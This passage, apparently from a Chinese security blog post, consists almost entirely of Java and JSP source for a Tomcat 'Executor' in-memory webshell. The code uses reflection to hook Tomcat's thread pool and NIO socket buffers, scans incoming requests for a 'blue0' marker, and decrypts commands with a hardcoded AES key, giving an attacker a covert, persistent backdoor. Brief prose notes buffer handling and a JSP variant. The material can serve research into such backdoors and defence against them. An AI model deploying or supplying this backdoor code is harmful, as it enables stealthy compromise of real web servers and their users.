class="code-snippet__built_in">Object</span> tmp : selectionKeys) {</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                            NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, <span class="code-snippet__string">&#34;attachment&#34;</span>);</span></code><code><span class="code-snippet_outer">                                            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                                nioSocketWrapper.read(<span class="code-snippet__literal">false</span>, buf);</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(buf.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__keyword">if</span> (a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) &gt; <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                                                    System.out.println(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>));</span></code><code><span class="code-snippet_outer">                                                    System.out.println(a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)));</span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__built_in">String</span> b = a.substring(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) + <span class="code-snippet__string">&#34;blue0&#34;</span>.length() + <span class="code-snippet__number">2</span>, a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)));</span></code><code><span class="code-snippet_outer">                                                    b = decode(DEFAULT_SECRET_KEY, b);</span></code><code><span class="code-snippet_outer">                                                    buf.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                                                    nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                                                    System.out.println(b);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                                                    System.out.println(new String(buf.array(), &#34;UTF-8&#34;));</span></span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__keyword">return</span> b;</span></code><code><span class="code-snippet_outer">                                                }</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__keyword">else</span>{</span></code><code><span class="code-snippet_outer">                                                    buf.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                                                    nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                                }</span></code><code><span class="code-snippet_outer">                                            } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                                nioSocketWrapper.unRead(buf);</span></code><code><span class="code-snippet_outer">                                            }</span></code><code><span class="code-snippet_outer">                                        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                        }</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                            System.out.println(var11);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>上述代码中有一处 buf.position(0)的操作，其实是跟ByteBuffer的本身结构与read的实现逻辑有关，具体就不展开了，感兴趣的师傅可以跟一下过程。</p><p>以url中结尾的数字来测试实效性：</p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 662px;height: 458px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=f3c5e1ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibHVUTfXWBUtuCdYicxdUsyyzsoiaPj4UTvk5ziaxnHdtvsnCzT0jCT8jzQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6434962147281487" style="width: 662px;height: 426px;" data-type="png" data-w="2906" src="https://wechat2rss.xlab.app/img-proxy/?k=617e0d75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibbLrFcuicGqdhEwZqhrRSyibUD5KZ1t7OubpHzov2sFWp3ZZMYr26w8rQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6922492401215805" style="width: 662px;height: 458px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=bd1d300d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibWSicM7tOpICdfib2AuN99KVzHEYtaxia1sROfROh0cHEnP8vVicYAC8kcA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6241473396998636" style="width: 662px;height: 413px;" data-type="png" data-w="2932" src="https://wechat2rss.xlab.app/img-proxy/?k=c22b88c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRib164t69IW8QYezllAqDHHnFGc07nYADUrlQdribrs1D5cLGI1ibuPRq1g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 26px;">jsp2.0</span></p><p>另外由于Tomcat在实现默认线程池与自定义线程池时所用的Executor有些许差别，已在代码中进行修改。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.tomcat.util.net.NioEndpoint&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.tomcat.util.threads.ThreadPoolExecutor&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.TimeUnit&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.lang.reflect.Field&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.BlockingQueue&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.ThreadFactory&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.nio.ByteBuffer&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.ArrayList&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.coyote.RequestInfo&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.coyote.Response&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.io.IOException&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.nio.charset.StandardCharsets&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;com.example.java_backdoor.Executor_ms&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.core.StandardThreadExecutor&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.util.LinkedList&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;java.nio.channels.SelectionKey&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer">&lt;%@ page contentType=<span class="code-snippet__string">&#34;text/html;charset=UTF-8&#34;</span> language=<span class="code-snippet__string">&#34;java&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> DEFAULT_SECRET_KEY = <span class="code-snippet__string">&#34;blueblueblueblue&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> AES = <span class="code-snippet__string">&#34;AES&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final byte[] KEY_VI = <span class="code-snippet__string">&#34;blueblueblueblue&#34;</span>.getBytes();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> CIPHER_ALGORITHM = <span class="code-snippet__string">&#34;AES/CBC/PKCS5Padding&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> decode(<span class="code-snippet__built_in">String</span> key, <span class="code-snippet__built_in">String</span> content) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            javax.crypto.SecretKey secretKey = <span class="code-snippet__keyword">new</span> javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);</span></code><code><span class="code-snippet_outer">            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);</span></code><code><span class="code-snippet_outer">            cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, <span class="code-snippet__keyword">new</span> javax.crypto.spec.IvParameterSpec(KEY_VI));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            byte[] byteContent = base64Decoder.decode(content);</span></code><code><span class="code-snippet_outer">            byte[] byteDecode = cipher.doFinal(byteContent);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(byteDecode, java.nio.charset.StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> encode(<span class="code-snippet__built_in">String</span> key, <span class="code-snippet__built_in">String</span> content) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            javax.crypto.SecretKey secretKey = <span class="code-snippet__keyword">new</span> javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);</span></code><code><span class="code-snippet_outer">            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);</span></code><code><span class="code-snippet_outer">            cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, <span class="code-snippet__keyword">new</span> javax.crypto.spec.IvParameterSpec(KEY_VI));</span></code><code><span class="code-snippet_outer">            byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">            byte[] byteAES = cipher.doFinal(byteEncode);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> base64Encoder.encodeToString(byteAES);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> getField(<span class="code-snippet__built_in">Object</span> object, <span class="code-snippet__built_in">String</span> fieldName) {</span></code><code><span class="code-snippet_outer">        Field declaredField;</span></code><code><span class="code-snippet_outer">        Class clazz = object.getClass();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (clazz != <span class="code-snippet__built_in">Object</span>.class) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                declaredField = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                declaredField.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> declaredField.get(object);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            clazz = clazz.getSuperclass();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> getStandardService() {</span></code><code><span class="code-snippet_outer">        Thread[] threads = (Thread[]) <span class="code-snippet__keyword">this</span>.getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (thread == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ((thread.getName().contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) &amp;&amp; (thread.getName().contains(<span class="code-snippet__string">&#34;http&#34;</span>))) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> target = <span class="code-snippet__keyword">this</span>.getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> jioEndPoint = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    jioEndPoint = getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (jioEndPoint == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        jioEndPoint = getField(target, <span class="code-snippet__string">&#34;endpoint&#34;</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> jioEndPoint;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> threadexcutor <span class="code-snippet__keyword">extends</span> ThreadPoolExecutor {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt; workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">super</span>(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getRequest() {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">Object</span>[] objects = (<span class="code-snippet__built_in">Object</span>[]) getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;nioChannels&#34;</span>), <span class="code-snippet__string">&#34;stack&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[<span class="code-snippet__number">0</span>], <span class="code-snippet__string">&#34;appReadBufHandler&#34;</span>), <span class="code-snippet__string">&#34;byteBuffer&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(heapByteBuffer.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">if</span> (a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) &gt; <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>));</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__built_in">String</span> b = a.substring(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) + <span class="code-snippet__string">&#34;blue0&#34;</span>.length() + <span class="code-snippet__number">1</span>, a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        b = decode(DEFAULT_SECRET_KEY, b);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">return</span> b;</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    System.out.println(var11);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getRequest2(){</span></code><code><span class="code-snippet_outer">            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (threadName.contains(<span class="code-snippet__string">&#34;Poller&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                byte[] bytes = <span class="code-snippet__keyword">new</span> byte[<span class="code-snippet__number">8192</span>];</span></code><code><span class="code-snippet_outer">                                ByteBuffer buf = ByteBuffer.wrap(bytes);</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                    LinkedList linkedList = (LinkedList) getField(getField(getField(target, <span class="code-snippet__string">&#34;selector&#34;</span>), <span class="code-snippet__string">&#34;kqueueWrapper&#34;</span>), <span class="code-snippet__string">&#34;updateList&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> obj : linkedList) {</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                            SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, <span class="code-snippet__string">&#34;channel&#34;</span>), <span class="code-snippet__string">&#34;keys&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp : selectionKeys) {</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                                    NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, <span class="code-snippet__string">&#34;attachment&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                                        nioSocketWrapper.read(<span class="code-snippet__literal">false</span>, buf);</span></code><code><span class="code-snippet_outer">                                                        <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(buf.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                        